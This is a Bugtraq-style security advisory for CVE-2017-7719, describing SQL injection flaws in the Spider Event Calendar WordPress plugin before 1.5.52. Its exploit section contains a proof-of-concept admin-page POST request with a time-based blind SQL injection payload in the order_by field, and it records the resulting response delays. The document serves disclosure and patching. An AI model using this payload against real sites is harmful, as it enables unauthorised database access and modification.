WordPress Spider Event Calendar Plugin CVE-2017-7719 Multiple SQL Injection Vulnerabilities



The Spider Event Calendar plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Spider Event Calendar 1.5.52 are vulnerable.

Information

Bugtraq ID: 97656
Class: Input Validation Error
CVE: CVE-2017-7719

Remote: Yes
Local: No
Published: Apr 08 2017 12:00AM
Updated: Apr 14 2017 04:06PM
Credit: Manuel García Cárdenas
Vulnerable: Web-Dorado Spider Event Calendar 1.5.51


Not Vulnerable: Web-Dorado Spider Event Calendar 1.5.52


Exploit


Attackers can exploit this issue through browser.

The following example request is available:

POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1

search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
(2 seconds of response)

search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
(30 seconds of response)


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